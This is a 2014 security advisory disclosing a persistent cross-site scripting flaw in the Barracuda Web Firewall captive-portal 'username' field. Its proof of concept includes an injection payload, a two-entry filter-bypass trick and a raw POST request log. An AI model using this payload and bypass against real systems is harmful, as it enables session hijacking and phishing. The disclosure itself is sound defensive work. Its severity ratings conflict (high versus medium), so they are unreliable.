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Barracuda Networks Bug Bounty #31 Firewall - Persistent Access Policy Vulnerability

Document Title:
Barracuda Networks Bug Bounty #31 Firewall - Persistent Access Policy Vulnerability

References (Source):

Barracuda Networks Security ID (BNSEC): BNSEC-2068

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
The Barracuda Firewall goes beyond traditional network firewalls and UTMs by providing powerful network security, granular layer 7 
application controls, user awareness and secure VPN connectivity combined with cloud-based malware protection, content filtering 
and reporting. It alleviates the performance bottlenecks in Unified Threat Management (UTM) appliances through intelligent integration 
of on-premise and cloud-based technologies. While the powerful on-premises appliance is optimized for tasks like packet forwarding and 
routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site connectivity; CPU intensive tasks like virus scanning, content 
filtering and usage reporting benefit from the scalable performance and elasticity of the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in the official Barracuda Networks Web Firewall appliance web-application.

Vulnerability Disclosure Timeline:
2013-09-04:	Researcher Notification & Coordination (Ateeq ur Rehman Khan)
2013-09-06:	Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)
2013-10-03:	Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)
2014-02-17:	Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]
2014-02-25:	Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Barracuda Networks
Product: Web Firewall - Models: X100; X200; X300; X400 & X600

Exploitation Technique:

Severity Level:

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in the official Barracuda Networks Web Firewall appliance web-application.
The web vulnerability allows remote attackers or local low privileged application user accounts to inject (persistent) own malicious script 
codes on the application-side of the vulnerable online-service module.

The vulnerability is located in the `Firewall > Captive Portal > Basic Configuration` and the vulnerable input field is `username` 
under the `User Access Policy Exceptions`. Remote attackers are able to inject custom malicious script codes via the `Username` 
input field. The attack vector is persistent and the injection request method is POST.

To bypass the filter and to be able to save the injected payload into the application, the attacker needs to create 2 entries. 
First entry should be the attackers payload and second entry should be any dummy account userid. The application only performs 
validation on the active field which is freshly added and ignores the earlier entries thus allowing successful injection of 
the script code into the application interface.

The security risk of the persistent validation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count 
of 3.5(+)|(-)3.6. Exploitation of the persistent input validation vulnerability requires a low privileged application user account and low 
user interaction. Successful exploitation results in session hijacking, persistent phishing, persistent external redirects & persistent 
manipulation of affected or connected module context.

Vulnerable Application(s):
				[+] Firewall (WAF) Appliance Application (X300Vx  v6.1.0.016)

Vulnerable Module(s):
				[+] Firewall  >  Captive Portal > Basic Configuration > User Access Policy Exceptions

Vulnerable Parameter(s):
				[+] username

Proof of Concept (PoC):
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged web-application user account 
and low user interaction. For security demonstration or to reproduce the remote vulnerability follow the provided information and steps below.

Manual steps to reproduce the vulnerability:

1. Login with the user account to the barracuda networks web firewall appliance application
2. Goto Firewall > Captive Portal > Basic Configuration > User Access Policy Exceptions
3. Inject the following Payload and click the + button to add.

ateeq%20"><iframe onload=prompt(/PoC/) src=x></iframe>

4. You should now be able to see a javascript popup proving the existence of this vulnerability.
5. Add another entry a dummy username. This bypass the input filter and you wont get a warning while trying to SAVE the modification in the application.

<td valign="top"><table class="config_module" frame="box" id="policy_exceptions" rules="none" style="border:none;" summary="Box" 
cellpadding="0" cellspacing="0"><tbody><tr><td><input id="username" autocomplete="off" class="authen_cp" name="username" type="text"></td>
<td width="22"><input class="new_button authen_cp" id="+" name="+" onclick="add_exception()" value="+" type="button"></td></tr>
<tr class="pattern"><td>"><[PERSISTENT INJECTED SCRIPT CODE!]></td><td><input class="new_button" value="-" name="0" type="button">

--- PoC Session Request Logs [POST] ---

POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:7228
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:7228/cgi-mod/index.cgi?auth_type=Local&et=1378377089&locale=en_US&password=e7657221263938518ad85296817f1f3a&user=guest&primary_tab=FIREWALL&secondary_tab=authen_cp
Content-Length: 606
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden%25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Response Headers:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 10:12:56 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse of the username input field.  Validate all entries inserted in the input field to prevent further 
executions of the same vulnerability.

2014-02-17:	Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]

Security Risk:
The security risk of the persistent input validation web vulnerabilities is estimated as medium.

Credits & Authors:
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]

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